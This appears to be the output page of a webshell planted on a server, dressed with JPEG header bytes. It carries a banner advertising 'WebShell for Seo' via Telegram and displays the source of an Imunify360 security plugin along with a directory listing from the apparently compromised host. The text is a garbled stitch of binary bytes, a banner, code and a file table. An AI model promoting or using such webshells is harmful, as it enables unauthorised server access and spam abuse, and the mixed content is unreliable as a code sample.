����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from logging import getLogger
from defence360agent.contracts.config import Core
from defence360agent.plugins.send_server_config import (
SendServerConfig as SendServerConfigAV,
)
from defence360agent.subsys.panels.base import (
ModsecVendorsError,
PanelException,
)
from defence360agent.subsys.persistent_state import register_lock_file
from defence360agent.utils import Scope, recurring_check
from defence360agent.utils.check_lock import check_lock
from im360.model.incident import DisabledRule
from im360.subsys import ossec
from im360.subsys.panels import hosting_panel
from im360.subsys.panels.base import (
ModsecImunifyVendorNotInstalled,
ModsecNotInstalledVendors,
)
from im360.subsys.shared_disabled_rules import get_shared_disabled_rules_list
logger = getLogger(__name__)
NON_IMUNIFY_VENDOR = "non-imunify-vendor"
NO_VENDORS_INSTALLED = "no-vendors-installed"
LOCK_FILE = register_lock_file("send-server-config", Scope.IM360)
class SendServerConfig(SendServerConfigAV):
SCOPE = Scope.IM360
async def create_source(self, loop, sink):
self._loop = loop
self._sink = sink
self._task = self._loop.create_task(
recurring_check(
check_lock,
check_period_first=True,
check_lock_period=self._period,
lock_file=LOCK_FILE,
)(self._send_server_config)()
)
async def _create_server_config_msg(self):
msg = await super()._create_server_config_msg()
hp = hosting_panel.HostingPanel()
modsec_installed = await hp.installed_modsec()
vendor_name = None
vendor_version = None
vendor_enabled = None
active_vendors = None
if modsec_installed:
try:
vendor_name = await hp.get_modsec_vendor_from_release_file()
except ModsecImunifyVendorNotInstalled as e:
logger.warning(str(e))
vendor_name = NON_IMUNIFY_VENDOR
except ModsecNotInstalledVendors as e:
logger.warning(str(e))
vendor_name = NO_VENDORS_INSTALLED
except ModsecVendorsError as e:
logger.warning(str(e))
else:
try:
# Do not forget to modify getting vendor_enabled flag
# when we will do DEF-9878
vendor_enabled = bool(
vendor_name in await hp.enabled_modsec_vendor_list()
)
except PanelException as e:
logger.warning(
"Cannot determine if vendor is enabled "
"because we can't get enabled vendors "
"list: %s",
str(e),
)
try:
vendor_version = await hp.get_i360_vendor_version()
except (ModsecVendorsError, PanelException) as e:
logger.warning(
"Cannot determine Imunify360 vendor version: %s",
str(e),
)
try:
active_vendors = await hp.enabled_modsec_vendor_list()
except Exception as e:
logger.warning("Cannot determine active vendors: %s", str(e))
modsec_msg = {
"vendor": vendor_name,
"enabled": vendor_enabled,
"version": vendor_version,
"modsec_installed": modsec_installed,
"engine_mode": hp.get_modsec_engine_mode(),
"active_vendors": active_vendors,
"conf_files": hp.get_modsec_active_conf_files(),
"vendor_updates": hp.get_modsec_vendor_updates(),
}
msg["modsec"] = modsec_msg
msg["ossec"] = {"version": ossec.get_rules_version()}
msg["disabled_rules"] = DisabledRule.as_list()
for shared_disabled_rule in get_shared_disabled_rules_list():
# Ensuring shared disabled rules compatible with current DisabledRule
# keys format.
msg["disabled_rules"].append(
{
DisabledRule.plugin.name: shared_disabled_rule["plugin"],
DisabledRule.rule_id.name: shared_disabled_rule["rule_id"],
DisabledRule.name.name: "shared-disabled-rule",
},
)
msg["agent_global_config"][
"CORE.is_go_agent"
] = Core.GO_FLAG_FILE.exists()
return msg
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| coraza_ff_watcher.py | File | 2.82 KB | 0644 |
|
| cpanel_uploader.py | File | 2.71 KB | 0644 |
|
| export_wblist.py | File | 4.14 KB | 0644 |
|
| fgw.py | File | 1.71 KB | 0644 |
|
| lfd.py | File | 3.43 KB | 0644 |
|
| modsec_ruleset_checker.py | File | 4.91 KB | 0644 |
|
| ossec_rules_checker.py | File | 1.76 KB | 0644 |
|
| pam_manager.py | File | 6.59 KB | 0644 |
|
| php_immunity.py | File | 1.4 KB | 0644 |
|
| remoteip_install.py | File | 1.03 KB | 0644 |
|
| repeater.py | File | 1.16 KB | 0644 |
|
| send_server_config.py | File | 4.43 KB | 0644 |
|
| service_manager.py | File | 5.22 KB | 0644 |
|
| startup_actions.py | File | 2.42 KB | 0644 |
|
| strategy_getter.py | File | 2 KB | 0644 |
|
| waf_rules_configurator.py | File | 2.48 KB | 0644 |
|
| webshield_feature_flags.py | File | 1.12 KB | 0644 |
|
| whitelist_current_user.py | File | 2.75 KB | 0644 |
|